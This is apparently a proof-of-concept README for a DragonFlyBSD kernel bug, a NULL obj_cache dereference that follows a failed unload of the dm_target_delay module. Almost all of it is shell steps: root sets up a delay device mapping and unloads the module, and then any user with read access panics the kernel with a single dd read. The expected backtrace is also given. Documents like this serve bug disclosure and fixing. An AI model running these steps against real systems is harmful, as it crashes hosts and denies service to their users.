# DF-1965 PoC — NULL obj_cache deref after failed kldunload of dm_target_delay

## Build & run

1. Boot DragonFlyBSD with `dm_target_delay` KLD loaded.
2. As root:
   ```sh
   REAL=/dev/ad0
   SEC=$(diskinfo -v "$REAL" | awk '/# of sectors/ {print $1}')
   dmsetup create still-alive --table "0 $SEC delay $REAL 0 50"
   kldunload dm_target_delay   # fails EBUSY but obj_cache is now NULL
   ```
3. Any user with read access to `/dev/mapper/still-alive`:
   ```sh
   dd if=/dev/mapper/still-alive of=/dev/null bs=512 count=1
   ```

## Expected output

Immediate kernel panic with backtrace
`objcache_get → _strategy → dm_target_delay_strategy → dmstrategy`.
Decisive frame: `objcache_get+0x…: mov …(%rax)` with `rax=0`.